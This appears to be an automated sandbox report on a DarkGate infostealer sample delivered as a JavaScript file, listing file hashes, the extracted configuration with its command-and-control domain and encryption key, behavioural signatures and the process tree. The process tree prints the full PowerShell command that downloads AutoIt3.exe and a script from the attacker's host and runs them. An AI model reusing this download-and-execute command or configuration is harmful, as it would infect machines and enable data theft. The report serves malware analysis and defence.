Analysis

  • max time kernel
    140s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-11-2023 18:47

General

  • Target

    07112023_0247_app(060e45bf7b57d4).js

  • Size

    252KB

  • MD5

    52084d5af42edfe681c380b0fd8d1ca3

  • SHA1

    dcc445bb4a504c2bd1e0c3f0251b3fe4bf60c5b3

  • SHA256

    8f7c401cde820120aedfc52946a8493e0540ab3f9eaa38a4e8d138389e89bc84

  • SHA512

    b58d3973ea47c268c789915d94527a45a79165243015ccc69cbee29376cc4faed40b3abf0c9ebe2ac10bc1019bc55ee5e32b90a22432f541b361e34c9e985ac1

  • SSDEEP

    6144:je7hgXeerjqlI2Iro+He7hgXeerjqlI2Iro+8:jIhgSlI238IhgSlI23V

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://twittesling.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    ZYOhfbEEcDFGAf

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    5000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\07112023_0247_app(060e45bf7b57d4).js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://twittesling.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://twittesling.com:443/msiukclaynr' -OutFile 'ukclaynr.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'ukclaynr.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3384
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" ukclaynr.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:2296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_whbpn0kd.ueh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\ukclaynr.au3

    Filesize

    490KB

    MD5

    a5f203d25d2e04a2b7f0e6a388e415ec

    SHA1

    aa2890ec2666cd89d9d47f3b2fe3fa9590fc3a5a

    SHA256

    2ab20d92bd6c8bcea33eac9cbab007dd79fed72b86acb87669ed4c258fa24dd3

    SHA512

    5998917232b3216386e9948d231b556a00991c4b7cffb9f69ad3ba22781943a9f6417c6ef7847c696bd376cfc023d09c18c3d0b2509a31c42121f865fc2c4978

  • memory/2296-29-0x0000000001120000-0x0000000001520000-memory.dmp

    Filesize

    4.0MB

  • memory/2296-30-0x0000000004210000-0x00000000043A5000-memory.dmp

    Filesize

    1.6MB

  • memory/2296-31-0x0000000004210000-0x00000000043A5000-memory.dmp

    Filesize

    1.6MB

  • memory/3384-9-0x000002D62F8D0000-0x000002D62F8F2000-memory.dmp

    Filesize

    136KB

  • memory/3384-10-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

    Filesize

    10.8MB

  • memory/3384-11-0x000002D62D850000-0x000002D62D860000-memory.dmp

    Filesize

    64KB

  • memory/3384-12-0x000002D62D850000-0x000002D62D860000-memory.dmp

    Filesize

    64KB

  • memory/3384-26-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

    Filesize

    10.8MB